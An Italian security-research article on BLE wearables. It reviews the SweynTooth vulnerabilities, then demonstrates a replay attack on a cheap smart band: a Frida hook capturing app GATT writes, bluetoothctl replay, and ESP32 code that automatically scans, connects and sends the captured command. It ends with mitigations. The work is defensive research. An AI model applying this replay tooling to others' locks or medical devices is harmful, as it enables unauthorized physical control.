Una metodologia pratica per comprendere i rischi di sicurezza nei wearable commerciali
Il panorama IoT e l’espansione della superficie di attacco
Nel mondo sono oggi attive decine di miliardi di dispositivi Internet of Things (IoT). Le proiezioni indicano che questo numero continuerà a crescere rapidamente nel corso del prossimo decennio. Questa crescita è alimentata dalla diffusione di wearable, sensori domestici intelligenti, dispositivi medicali connessi, smart lock e sistemi industriali IoT.
L’aumento della connettività porta con sé un ampliamento proporzionale della superficie di attacco. Molti dispositivi IoT vengono progettati con priorità su costo ridotto, autonomia energetica e facilità d’uso, mentre la sicurezza viene spesso considerata solo in una fase successiva o completamente trascurata. Questa logica “security as an afterthought” ha creato un ecosistema vulnerabile composto da miliardi di dispositivi potenzialmente compromettibili.
Bluetooth Low Energy: il protocollo dominante nell’IoT a basso consumo
Il Bluetooth Low Energy (BLE), introdotto nelle specifiche Bluetooth 4.0 nel 2010, rappresenta oggi uno dei protocolli più utilizzati nell’ecosistema IoT moderno. A differenza del Bluetooth Classic, il BLE è stato progettato specificamente per dispositivi alimentati a batteria che necessitano di comunicazioni brevi e sporadiche con consumo energetico ridottissimo.
La sua adozione massiva in wearable, fitness tracker, smart band, sensori medicali e dispositivi domestici lo rende un vettore di attacco particolarmente rilevante. I rischi associati al BLE spaziano dagli accessi non autorizzati a dispositivi fisici tramite replicazione di comandi, alla replica di protocolli proprietari per interazione non prevista, passando per attacchi di prossimità che sfruttano il raggio di trasmissione radio. La possibilità di automazione su larga scala di interazioni malevole rende questi vettori ancora più pericolosi, con impatti concreti su sicurezza fisica, privacy e continuità operativa.
La comprensione delle modalità di comunicazione BLE è quindi fondamentale per chi si occupa di sicurezza hardware, penetration testing IoT e analisi di dispositivi embedded.
SweynTooth: quando le vulnerabilità BLE colpiscono i dispositivi
Per comprendere la rilevanza della sicurezza BLE, è utile analizzare un caso documentato che ha dimostrato l’impatto reale delle vulnerabilità in questo protocollo.
Nel febbraio 2020, ricercatori del SUTD (Singapore University of Technology and Design) pubblicarono SweynTooth, una famiglia di 12 vulnerabilità zero-day che colpivano gli stack BLE di sei diversi produttori di System-on-Chip (SoC): Texas Instruments, NXP, Cypress, Dialog Semiconductors, Microchip e Telink Semiconductor.
Le caratteristiche che resero SweynTooth particolarmente rilevante includevano la natura completamente over-the-air dell’attacco, che non richiedeva pairing o autenticazione, e l’assenza di qualsiasi interazione con l’utente del dispositivo target. Le vulnerabilità permettevano di causare deadlock, crash e in alcuni casi information disclosure, con una superficie di impatto estesa a miliardi di dispositivi commerciali, medicali e industriali.
Un attaccante poteva causare Denial of Service su dispositivi BLE inviando pacchetti malformati durante le fasi di connection, data transfer o pairing. In alcuni casi, le vulnerabilità permettevano anche il bypass di procedure di sicurezza come il pairing numerico o l’esfiltrazione di informazioni dalla memoria.
| Nome Vulnerabilità |
CVE ID |
Stato del Protocollo |
Tipo di Impatto |
Esempio Prodotto IoT |
| Link Layer Length Overflow |
CVE-2019-16336, CVE-2019-17519 |
Fase iniziale della connessione (initial_setup) |
Crash |
Fitbit Inspire |
| LLID Deadlock |
CVE-2019-17061, CVE-2019-17060 |
Fase iniziale della connessione (initial_setup) |
Crash o Deadlock |
Fitbit Inspire |
| Truncated L2CAP |
CVE-2019-17517 |
Scoperta dei servizi primari (list_pri_services) |
Crash |
Non specificato |
| Silent Length Overflow |
CVE-2019-17518 |
Procedura di pairing (smp_pairing) |
Crash |
Eve Energy, August Smart Lock |
| Public Key Crash |
CVE-2019-17520 |
Procedura di pairing (smp_pairing) |
Crash |
CubiTag |
| Invalid Connection Request |
CVE-2019-19193 |
Stabilimento della connessione (connection) |
Deadlock (DoS) |
eGeeTouch TSA Lock |
| Invalid L2CAP Fragment |
CVE-2019-19195 |
Scoperta servizi / Lettura-Scrittura GATT |
Crash |
Non specificato |
| Sequential ATT Deadlock |
CVE-2019-19192 |
Lettura-Scrittura GATT (gatt_read/write) |
Crash / Deadlock |
Non specificato |
| Key Size Overflow |
CVE-2019-19196 |
Richiesta di pairing (pairing_req) |
Crash |
Non specificato |
| Zero LTK Installation |
CVE-2019-19194 |
Pairing con connessioni sicure (sc_pairing) |
Security Bypass |
Non specificato |
| DHCheck Skip |
CVE-2020-13593 |
Procedura di pairing (smp_pairing) |
Security Bypass |
Non specificato |
| ESP32 HCI Desync |
CVE-2020-13595 |
Non specificato in tabella |
Non specificato in tabella |
Non specificato |
SweynTooth ha segnato un punto di svolta nella percezione della sicurezza BLE, dimostrando come vulnerabilità a livello di stack protocol possano avere conseguenze concrete su dispositivi medicali (pacemaker, glucometri), sistemi di controllo accessi, e infrastrutture industriali che utilizzano sensori BLE.
Il caso è particolarmente significativo perché ha evidenziato come anche dispositivi conformi alle specifiche Bluetooth SIG possano presentare vulnerabilità critiche nell’implementazione degli stack software .
Dalla teoria alla pratica: perché analizzare protocolli BLE proprietari
Anche in assenza di vulnerabilità di esecuzione di codice remoto o stack overflow, la capacità di comprendere e replicare protocolli applicativi BLE proprietari può avere conseguenze concrete nel mondo reale.
Consideriamo alcuni scenari concreti: uno smart lock BLE che utilizza un protocollo proprietario per l’apertura remota, un dispositivo medicale che trasmette comandi di dosaggio su canale BLE, un sistema di controllo industriale con sensori BLE per monitoraggio parametri critici, o un dispositivo wearable che può essere comandato per eseguire azioni specifiche. In tutti questi casi, la possibilità di intercettare, comprendere e replicare i comandi proprietari rappresenta un rischio di sicurezza concreto, indipendentemente dalla presenza di vulnerabilità software classiche.
È in questo contesto che si inserisce l’esperimento descritto in questo articolo: dimostrare una metodologia riproducibile, per analizzare la comunicazione BLE di dispositivi commerciali e automatizzarne il controllo tramite hardware embedded.
Obiettivo dell’esperimento
Questo lavoro propone un approccio pratico per analizzare la comunicazione BLE di un dispositivo wearable commerciale e replicarne il comportamento tramite microcontrollore ESP32.
L’obiettivo è fornire una metodologia che permetta di analizzare applicazioni mobili che comunicano con dispositivi BLE, intercettare comandi proprietari tramite dynamic instrumentation, comprendere il protocollo applicativo senza necessità di reverse engineering del firmware, e infine automatizzare l’interazione con hardware reale tramite dispositivi embedded a basso costo. La metodologia è applicabile a un’ampia gamma di dispositivi BLE commerciali e rappresenta un approccio sistemico al penetration testing hardware e IoT security assessment.
Strumentazione necessaria
Per l’esperimento sono sufficienti componenti facilmente reperibili e a costo contenuto:
- Smart band commerciale compatibile con app mobile (es. modelli M4/M5/M7 con app FitPro, costo ~5-10€)
- Smartphone Android con privilegi di root per l’instrumentation dinamica
- Microcontrollore ESP32 (ESP32 WROOM o equivalente, costo ~5-10€)
- PC Linux per operazioni di test manuale
Il costo totale dell’intera strumentazione, escludendo lo smartphone, si aggira intorno ai 20€, rendendo l’esperimento accessibile per scopi didattici, di ricerca o di security assessment.
Analisi della comunicazione tramite Frida
Setup dell’ambiente di instrumentation
Frida è un framework di dynamic instrumentation che permette di iniettare codice JavaScript all’interno di processi in esecuzione, intercettando chiamate di funzione e manipolando il comportamento dell’applicazione in tempo reale. È uno strumento particolarmente potente per l’analisi di applicazioni mobile senza necessità di decompilazione o reverse engineering statico.
La procedura di setup richiede:
- Installazione di frida-tools sul PC host
- Deploy di frida-server su dispositivo Android con root
- Verifica della compatibilità tra versioni (frida, frida-tools e frida-server devono avere versione identica)
Un aspetto critico è l’architettura del processore Android: bisogna scaricare la versione corretta di frida-server (es. arm64-v8a per la maggior parte degli smartphone moderni).
# Verifica architettura
adb shell getprop ro.product.cpu.abi
# Push e avvio frida-server
adb root
adb push frida-server /data/local/tmp/frida-server
adb shell “chmod 755 /data/local/tmp/frida-server”
adb shell “/data/local/tmp/frida-server &”
# Verifica funzionamento
frida-ps -U
Sviluppo dello hook per intercettare comunicazioni BLE
L’obiettivo dello hook è intercettare in tempo reale i dati che l’applicazione Android invia al dispositivo BLE tramite lo stack Bluetooth nativo.
Su Android, la scrittura di dati su caratteristiche GATT segue un flusso preciso: l’applicazione prepara un array di byte con il comando, imposta il valore sulla caratteristica usando BluetoothGattCharacteristic.setValue(byte[]), e infine richiede la trasmissione con BluetoothGatt.writeCharacteristic(BluetoothGattCharacteristic). Intercettando entrambi questi punti, otteniamo il valore quando viene preparato in memoria, il momento esatto dell’invio over-the-air, e l’UUID della caratteristica target.
Lo hook sviluppato intercetta queste chiamate e logga i dati in formato esadecimale:
if (Java.available) {
Java.perform(function () {
var BluetoothGatt = Java.use(“android.bluetooth.BluetoothGatt”);
var BluetoothGattCharacteristic = Java.use(“android.bluetooth.BluetoothGattCharacteristic”);
// Funzione helper per conversione byte -> hex
function bytesToHex(bytes) {
var result = [];
for (var i = 0; i < bytes.length; i++) {
var b = bytes[i] & 0xff;
result.push((‘0’ + b.toString(16)).slice(-2));
}
return result.join(‘ ‘);
}
// Hook writeCharacteristic: intercetta l’invio effettivo
BluetoothGatt.writeCharacteristic.implementation = function (ch) {
try {
var uuid = ch.getUuid().toString();
var value = ch.getValue();
if (value) {
console.log(“[BLE WRITE =>] UUID: ” + uuid + ” DATA: ” + bytesToHex(value));
} else {
console.log(“[BLE WRITE =>] UUID: ” + uuid + ” DATA: <null>”);
}
} catch (e) {
console.log(“[BLE WRITE =>] error: ” + e);
}
return this.writeCharacteristic(ch);
};
// Hook setValue: intercetta la preparazione del comando
BluetoothGattCharacteristic.setValue.overload(‘[B’).implementation = function (bytes) {
try {
var uuid = this.getUuid().toString();
console.log(“[BLE SET =>] UUID: ” + uuid + ” DATA: ” + bytesToHex(bytes));
} catch (e) {
console.log(“[BLE SET =>] error: ” + e);
}
return this.setValue(bytes);
};
console.log(“[+] BLE Write hook installed”);
});
}
Esecuzione dell’hooking e cattura dei comandi
Con l’applicazione FitPro installata e frida-server attivo, si procede all’hooking:
frida -U -n FitPro -l blewrite.js
A questo punto, dall’applicazione mobile si esegue l’azione da analizzare. Nel caso specifico, è stata utilizzata la funzione “Find Device” che fa vibrare la smart band, una funzionalità comune nei wearable per facilitarne il ritrovamento.
L’output dello hook mostra:
[BLE SET =>] UUID: 6e400002-b5a3-f393-e0a9-e50e24dcca9d DATA: cd 00 06 12 01 0b 00 01 01
[BLE WRITE =>] UUID: 6e400002-b5a3-f393-e0a9-e50e24dcca9d DATA: cd 00 06 12 01 0b 00 01 01
Abbiamo così identificato l’UUID della caratteristica (6e400002-b5a3-f393-e0a9-e50e24dcca9d) e il payload del comando (0xcd 0x00 0x06 0x12 0x01 0x0b 0x00 0x01 0x01).
Questo è il comando proprietario che, quando scritto su quella specifica caratteristica GATT, causa la vibrazione del dispositivo.
Replica manuale tramite bluetoothctl
Prima di automatizzare il processo con ESP32, è buona pratica verificare manualmente che il comando intercettato funzioni realmente. Per questo si utilizza bluetoothctl, tool standard su distribuzioni Linux con BlueZ.
Connessione e pairing
Durante il pairing, il sistema richiede autorizzazione. Questo passaggio è significativo perché dimostra che la connessione è cifrata: il processo di pairing stabilisce chiavi di crittografia che proteggono la comunicazione. Questo spiega perché un semplice sniffing radio (ad esempio con nRF52840) non sarebbe stato sufficiente senza la chiave di pairing.
Identificazione della caratteristica e invio comando
Una volta connessi, si esplorano i servizi GATT:
gatt.list-attributes
Si identifica la caratteristica con UUID 6e400002-b5a3-f393-e0a9-e50e24dcca9d, si seleziona e si scrive il payload:
gatt.select-attribute /org/bluez/hci0/dev_FF_FF_FF_23_DB_18/service002e/char0032
gatt.write “0xcd 0x00 0x06 0x12 0x01 0x0b 0x00 0x01 ”
Risultato: la smart band vibra immediatamente, confermando che il comando intercettato è corretto e funzionale.
Questo test manuale è fondamentale per validare l’analisi prima di procedere all’automazione con hardware embedded.
Automazione del proof of concept con ESP32
Architettura della soluzione automatizzata
L’ESP32 è un microcontrollore popolare nell’ambito IoT grazie al supporto nativo WiFi e Bluetooth (sia Classic che Low Energy), al costo ridotto (~5-10€) e all’ampia disponibilità di librerie e documentazione.
L’obiettivo è creare un dispositivo autonomo che scansiona continuamente l’ambiente BLE alla ricerca del dispositivo target, si connette automaticamente quando questo è nel raggio, gestisce il pairing in modo automatico, identifica il servizio e la caratteristica corretti, invia il payload intercettato con Frida, e infine fornisce feedback visivo tramite LED dello stato operativo.
Implementazione e logica operativa
Il codice completo implementa una macchina a stati che gestisce l’intero ciclo operativo. Durante lo stato SCANNING, il LED verde lampeggia mentre il dispositivo ricerca il target per nome o indirizzo MAC. Una volta individuato, passa allo stato CONNECTING con LED verde fisso per tentare la connessione BLE. Segue lo stato DISCOVERING per l’enumerazione di servizi e caratteristiche GATT. Nello stato ATTACKING il LED bianco si accende durante l’invio del payload di test. Infine, lo stato DISCONNECTED riporta il sistema allo scanning.
La parte più rilevante è la scrittura della caratteristica GATT:
// Identificazione della caratteristica target
BLERemoteCharacteristic* pCharacteristic = pService->getCharacteristic(CHARACTERISTIC_UUID);
if (pCharacteristic == nullptr) {
Serial.println(“Characteristic not found”);
return;
}
// Preparazione payload (comando di vibrazione)
uint8_t payload[] = {0xcd, 0x00, 0x06, 0x12, 0x01, 0x0b, 0x00, 0x01, 0x01};
// Invio comando
pCharacteristic->writeValue(payload, sizeof(payload));
// Feedback visivo: LED bianco = comando eseguito
digitalWrite(LED_WHITE, HIGH);
Dimostrazione pratica e risultati
Il dispositivo viene alimentato e posizionato nel raggio d’azione del wearable target, tipicamente 10-50 metri in condizioni ottimali. Il comportamento osservato mostra inizialmente il LED verde lampeggiante durante lo scanning, seguito dal LED verde fisso alla connessione. Quando il LED bianco si accende, la smart band vibra immediatamente. Il ciclo si conclude con la disconnessione e il ritorno automatico allo scanning.
Il mostra chiaramente il funzionamento del dispositivo e la reazione del wearable target.
Il codice completo è disponibile pubblicamente su GitHub Gist per scopi didattici e di ricerca: https://gist.github.com/mandomat/868400b150218317527def3c8886082c
Implicazioni di sicurezza e scenari reali
Estensione a dispositivi critici
Sebbene l’esperimento dimostrato coinvolga una smart band consumer, la metodologia è applicabile a scenari con impatto significativamente più elevato. Nel campo dei dispositivi di controllo accessi fisici, parliamo di smart lock BLE per porte residenziali o uffici, sistemi di apertura cancelli e garage, e badge digitali per accesso a zone riservate.
I dispositivi medicali connessi rappresentano un ambito ancora più critico: glucometri per pazienti diabetici, pompe per insulina con controllo BLE, monitor cardiaci e pacemaker di nuova generazione, dispositivi per terapia del dolore. I sistemi industriali IoT includono sensori BLE per monitoraggio parametri critici, attuatori per controllo valvole e motori, e sistemi SCADA con interfaccia BLE per manutenzione. Infine, nel settore automotive e mobilità, la metodologia si applica a sistemi di apertura/chiusura veicoli, scooter e bici elettriche condivise, e sistemi di tracciamento flotte.
Mitigazioni e raccomandazioni
Lato sviluppatore di dispositivi BLE
Per chi sviluppa dispositivi IoT con connettività BLE, è fondamentale implementare autenticazione robusta senza fidarsi del solo pairing BLE, e utilizzare crittografia a livello applicativo aggiungendo un layer di sicurezza oltre a quello del protocollo. Nel caso analizzato in questo articolo, la crittografia a livello di trasporto BLE non ha impedito la replica del comando, poiché l’intercettazione è avvenuta a livello applicativo tramite instrumentation dell’app mobile: un layer crittografico applicativo, con challenge-response o token a uso singolo, avrebbe reso inefficace la semplice replica del payload.
È essenziale implementare rate limiting per limitare la frequenza dei comandi critici, insieme a sistemi di logging e audit che registrino tutte le operazioni sensibili. La validazione contestuale deve verificare la coerenza dei comandi attraverso geofencing, controlli orari e sequenze valide. Infine, firmware signing e secure boot devono garantire che solo firmware legittimo possa essere eseguito, impedendo modifiche non autorizzate.
Lato utente finale
Gli utenti di dispositivi BLE dovrebbero disabilitare Bluetooth quando non necessario per ridurre la finestra di attacco, e aggiornare regolarmente il firmware applicando le patch di sicurezza disponibili. È importante verificare le impostazioni di pairing per limitare il re-pairing automatico, e monitorare comportamenti anomali come vibrazioni inattese o attivazioni non richieste. Quando possibile, è preferibile scegliere dispositivi con certificazioni di sicurezza riconosciute, come IEC 62443 per l’ambito industriale o FDA per i dispositivi medicali.
Lato ricerca e industria
La comunità di ricerca e l’industria dovrebbero aumentare la trasparenza pubblicando specifiche di protocolli proprietari per review indipendente, e sviluppare standard di sicurezza BLE con linee guida specifiche per categorie di dispositivi. L’implementazione di bug bounty program può incentivare la ricerca responsabile, mentre la promozione della security by design deve integrare la sicurezza fin dalle prime fasi di progettazione. Infine, educazione e awareness rimangono fondamentali per formare sviluppatori sulle best practice di sicurezza BLE.
Conclusioni: dalla consapevolezza all’azione
Questo articolo ha dimostrato come, con strumentazione accessibile e competenze tecniche intermedie, sia possibile analizzare, comprendere e replicare protocolli BLE proprietari utilizzati da dispositivi wearable commerciali.
La metodologia presentata, basata su dynamic instrumentation con Frida, validazione manuale con bluetoothctl e automazione con ESP32 , è riproducibile, e applicabile a un’ampia gamma di dispositivi BLE.
Oltre l’aspetto tecnico, l’esperimento evidenzia alcune criticità sistemiche. Molti dispositivi IoT utilizzano protocolli proprietari non documentati e non sottoposti a security review. La sicurezza per oscurità (security through obscurity) rimane un approccio diffuso ma inefficace. Il costo di attacco è drasticamente inferiore al costo di difesa e remediation. Infine, la scalabilità degli attacchi BLE è sottovalutata nelle threat model aziendali.
L’obiettivo di questo lavoro non è “fare vibrare una smart band”, ma fornire una metodologia riutilizzabile per security assessment di dispositivi BLE, utile per penetration tester che valutano la sicurezza di infrastrutture IoT, per ricercatori che studiano protocolli wireless e vulnerabilità hardware, per sviluppatori che desiderano comprendere le minacce reali ai loro prodotti, e per responsabili della sicurezza che devono valutare il rischio associato a deployment IoT.
In un ecosistema in cui i dispositivi connessi pervadono ogni aspetto della vita quotidiana e industriale, la comprensione delle minacce reali , e la capacità di dimostrarle concretamente , diventa un elemento fondamentale per costruire sistemi realmente sicuri.
Risorse e riferimenti
Codice sorgente: – Hook Frida per intercettazione BLE: [disponibile nell’articolo] – Codice ESP32 completo
Strumenti utilizzati: – Frida– BlueZ bluetoothctl – ESP32 Arduino BLE Library – NimBLE
Riferimenti scientifici: – SweynTooth: “SweynTooth: Unleashing Mayhem over Bluetooth Low Energy”, USENIX ATC 2020 – Bluetooth Core Specification v5.4– “Security Analysis of Wearable Fitness Devices”, IEEE Security & Privacy, 2018
Matteo Mandolini è Cyber Security Engineer con esperienza focalizzata su offensive security, hardware hacking, telco security e ricerca applicata alla sicurezza di sistemi embedded e IoT. Attualmente lavora in ambito security per realtà internazionali, con un background tecnico maturato tra progetti di ricerca, sviluppo software e penetration testing.
Appassionato di hacking e innovazione, ha co-ideato e sviluppato diversi tool in ambito cyber, tra i quali MACOBOX, una piattaforma all-in-one per hardware penetration testing presentata ufficialmente al Black Hat Arsenal Lab.
https://www.ictsecuritymagazine.com/articoli/ble/
